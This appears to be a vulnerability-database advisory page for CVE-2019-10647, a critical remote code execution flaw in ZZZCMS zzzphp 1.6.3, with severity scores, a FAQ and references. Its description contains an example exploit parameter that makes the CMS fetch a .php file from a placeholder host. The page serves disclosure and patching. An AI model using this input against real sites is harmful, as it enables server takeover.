How severe is CVE-2019-10647?

CVE-2019-10647 has a CVSS 3.x base score of 9.8, rated critical severity. It is exploitable over network with low attack complexity, requires no privileges and no user interaction. Impact on confidentiality is high, integrity high, and availability high.

Is CVE-2019-10647 being actively exploited?

It is not currently listed in CISA's KEV catalog. Its EPSS exploit-prediction score is 7% (93rd percentile), an estimate of the probability of exploitation in the next 30 days.

What products are affected by CVE-2019-10647?

CVE-2019-10647 affects Zzzcms Zzzphp. See the affected-products list for the exact vulnerable versions.

How do I fix CVE-2019-10647?

Review the linked vendor and NVD advisories for patched versions and mitigations, then upgrade or apply the recommended workaround. Given its critical severity, prioritise patching exposed systems.

When was CVE-2019-10647 published?

CVE-2019-10647 was published on 2019-03-30 and last updated on 2026-06-17.

CVE-2019-10647

CVE-2019-10647 is a critical-severity vulnerability in Zzzcms Zzzphp with a CVSS 3.x base score of 9.8. It is not currently listed as actively exploited by CISA, and its EPSS exploit-prediction score is low. The underlying weakness is classified as CWE-434.

Key facts

Severity: Critical (CVSS 3.x base score 9.8)
CVSS v2: 7.5
EPSS exploit prediction: 7% (93rd percentile)
Actively exploited: Not listed in CISA KEV
Weakness: CWE-434
Affected product: Zzzcms Zzzphp
Published: 2019-03-30
Last modified: 2026-06-17

Description

ZZZCMS zzzphp v1.6.3 allows remote attackers to execute arbitrary PHP code via a .php URL in the plugins/ueditor/php/controller.php?action=catchimage source[] parameter because of a lack of inc/zzz_file.php restrictions. For example, source%5B%5D=http%3A%2F%2F192.168.0.1%2Ftest.php can be used if the 192.168.0.1 web server sends the contents of a .php file (i.e., it does not interpret a .php file).

Frequently asked questions

What is CVE-2019-10647?: ZZZCMS zzzphp v1.6.3 allows remote attackers to execute arbitrary PHP code via a .php URL in the plugins/ueditor/php/controller.php?action=catchimage source[] parameter because of a lack of inc/zzz_file.php restrictions. For example, source%5B%5D=http%3A%2F%2F192.168.0.1%2Ftest.php can be used if the 192.168.0.1 web server sends the contents of a .php file (i.e., it does not interpret a .php file).
How severe is CVE-2019-10647?: CVE-2019-10647 has a CVSS 3.x base score of 9.8, rated critical severity. It is exploitable over network with low attack complexity, requires no privileges and no user interaction. Impact on confidentiality is high, integrity high, and availability high.
Is CVE-2019-10647 being actively exploited?: It is not currently listed in CISA's KEV catalog. Its EPSS exploit-prediction score is 7% (93rd percentile), an estimate of the probability of exploitation in the next 30 days.
What products are affected by CVE-2019-10647?: CVE-2019-10647 affects Zzzcms Zzzphp. See the affected-products list for the exact vulnerable versions.
How do I fix CVE-2019-10647?: Review the linked vendor and NVD advisories for patched versions and mitigations, then upgrade or apply the recommended workaround. Given its critical severity, prioritise patching exposed systems.
When was CVE-2019-10647 published?: CVE-2019-10647 was published on 2019-03-30 and last updated on 2026-06-17.

References

https://github.com/kyrie403/Vuln/blob/master/zzzcms/zzzphp%20v1.6.3%20write%20file%20with%20dangerous%20type.md

Affected products (1)

cpe:2.3:a:zzzcms:zzzphp:1.6.3:*:*:*:*:*:*:*

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